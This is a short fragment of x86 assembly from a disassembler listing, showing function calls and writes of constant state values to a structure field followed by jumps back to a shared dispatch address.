mov dword [esp + 4], eax
call fcn.00409d50
add esp, 8
mov dword [esi + 0x38], 0x4157dae2
jmp 0x409d41
xor eax, eax
sub esp, 0xc
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
call fcn.004a2f53
add esp, 0xc
mov dword [esi + 0x38], 0x166eb527
jmp 0x409d41
mov dword [esi + 0x38], 0xbc0acc16
jmp 0x409d41
jmp 0x406a19